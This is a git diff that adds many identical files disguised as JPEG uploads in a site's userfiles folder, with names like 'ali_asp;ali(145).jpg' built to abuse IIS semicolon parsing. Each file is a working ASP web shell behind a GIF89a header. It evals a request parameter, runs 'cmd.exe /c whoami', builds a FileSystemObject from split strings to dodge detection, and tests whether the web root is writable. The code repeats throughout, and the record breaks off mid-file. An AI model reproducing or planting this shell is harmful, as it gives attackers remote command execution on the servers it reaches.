+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(145).jpg b/userfiles/file/ali_asp;ali(145).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(146).jpg b/userfiles/file/ali_asp;ali(146).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(147).jpg b/userfiles/file/ali_asp;ali(147).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(148).jpg b/userfiles/file/ali_asp;ali(148).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(149).jpg b/userfiles/file/ali_asp;ali(149).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(15).jpg b/userfiles/file/ali_asp;ali(15).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(150).jpg b/userfiles/file/ali_asp;ali(150).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(151).jpg b/userfiles/file/ali_asp;ali(151).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(152).jpg b/userfiles/file/ali_asp;ali(152).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(153).jpg b/userfiles/file/ali_asp;ali(153).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(154).jpg b/userfiles/file/ali_asp;ali(154).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(155).jpg b/userfiles/file/ali_asp;ali(155).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(156).jpg b/userfiles/file/ali_asp;ali(156).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(157).jpg b/userfiles/file/ali_asp;ali(157).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(16).jpg b/userfiles/file/ali_asp;ali(16).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(17).jpg b/userfiles/file/ali_asp;ali(17).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(18).jpg b/userfiles/file/ali_asp;ali(18).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(19).jpg b/userfiles/file/ali_asp;ali(19).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(2).jpg b/userfiles/file/ali_asp;ali(2).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(20).jpg b/userfiles/file/ali_asp;ali(20).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(21).jpg b/userfiles/file/ali_asp;ali(21).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(22).jpg b/userfiles/file/ali_asp;ali(22).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(23).jpg b/userfiles/file/ali_asp;ali(23).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(24).jpg b/userfiles/file/ali_asp;ali(24).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
